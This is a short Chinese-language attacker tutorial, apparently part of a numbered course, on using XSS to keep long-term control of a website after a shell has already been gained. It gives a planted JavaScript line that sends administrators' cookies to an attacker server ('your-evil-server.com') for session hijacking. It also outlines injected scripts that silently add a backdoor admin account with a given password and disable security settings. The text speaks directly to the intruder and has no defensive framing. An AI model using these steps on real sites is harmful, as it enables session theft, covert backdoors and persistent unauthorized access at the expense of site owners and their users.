2-6

有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制

1. 利用 XSS 劫持管理员会话

这是最直接也最常见的 XSS 攻击方式,但在这里,我们将其作为持久化控制的跳板

  • 原理: 当管理员访问存在 XSS 漏洞的页面时,我们的恶意 JavaScript 代码会执行,并窃取管理员的 cookiesessionStoragelocalStorage 等会话信息
  • 实现:

    • WebShell 注入: 在您已经获取的 Shell 中,找到一个管理员经常访问的、可写入的文件(例如,网站的公共 JS 文件、后台管理页面模板等)
    • 插入 Payload: 在该文件中插入以下恶意 JavaScript 代码

    JavaScript

    fetch('http://your-evil-server.com/log.php?cookie=' + document.cookie);
    • 获取会话: 当管理员访问该页面时,他们的 cookie 就会被发送到您的服务器 log.php。您可以用这些 cookie 伪造会话,从而以管理员身份登录后台
    • 持久化: 只要您能以管理员身份登录,就可以通过后台修改网站配置,上传新的 WebShell,或者进行其他持久化操作

这种方法的优点是简单直接,但缺点是如果管理员退出登录或会话过期,您需要重新等待下一次捕获

2. 利用 XSS 注入后台管理页面后门

这种方法更具隐蔽性和持久性,它旨在直接在后台管理系统中创建可控的“后门”

  • 原理: 很多后台管理系统都允许管理员自定义页面内容、插入自定义代码或编辑模板。我们可以利用 XSS,在管理员的浏览器中执行 JavaScript 代码,悄悄地修改这些配置
  • 实现:
    • 自动化操作: 编写一个 JavaScript 脚本,该脚本可以模拟管理员的点击、表单填写和提交操作
    • 创建新用户: 脚本可以模拟点击“添加用户”按钮,填写一个新的管理员账户信息(例如,用户名:backdoor,密码:P@ssw0rd),然后点击“保存”
    • 修改配置文件: 脚本还可以模拟打开“系统设置”页面,修改网站的配置,例如允许文件上传、关闭安全限制等
    • 注入 Payload: 将这些自动化操作的 JavaScript 代码注入到存在 XSS 的页面。当管理员访问时,脚本会在后台静默执行,完成上述操作